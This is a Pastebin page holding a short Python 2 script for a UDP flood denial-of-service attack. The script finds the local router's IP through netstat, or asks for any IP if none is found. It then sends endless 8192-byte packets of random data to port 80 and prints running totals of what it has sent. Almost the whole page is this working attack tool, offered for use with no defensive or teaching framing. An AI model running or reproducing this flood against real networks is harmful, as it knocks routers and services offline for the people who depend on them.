Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- import random
- import string
- import os
- import re
- import sys
- #Note that the detection will only work on unix based systems, such as Mac or any linux distro.
- def validate_ip(s): #Function to get and validate the IP of the router automaticly
- a = s.split('.')
- if len(a) != 4:
- return False
- for x in a:
- if not x.isdigit():
- return False
- i = int(x)
- if i < 0 or i > 255:
- return False
- return True
- f=os.popen("netstat -rn |grep default") #Execute the command to get the ip of the router
- var = 0 #To check if we are on line one, so we only read the first line if any more should be returned, this probably wouldn't happen but just to be safe.
- ip = ""
- for i in f.readlines(): #Reading each line of the command executed
- if(var == 0):
- i = string.split(i, " ") #Split the commandline output
- for args in i: #Loop through all of elements we got from the previous string
- if validate_ip(args) == True: #To get the IP
- ip = args
- if ip == "": #Check if we could not find an IP
- ip = raw_input("IP could not be found automaticly, please enter: ")
- var = var + 1
- sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Open socket
- packetsize = 8192 #Packetsize
- bytes=random._urandom(packetsize) #Generate random data
- port= 80 #The port, can be changed to random if you want to by removing this line and uncommenting the next one
- #port = random.randrange(65335)
- sent = 1
- amountbytes = packetsize*sent #Calculate the datasize we have sent in total.
- i = 1
- while 1:
- sock.sendto(bytes,(ip,port)) #Send data
- print "[i]: Sent %s amount of packets to %s at port %s. Total amount of bytes sent: %s" % (sent,ip,port,amountbytes)
- sent= sent + 1
- amountbytes = packetsize*sent
- i = i + 1
Advertisement
Add Comment
Please, Sign In to add comment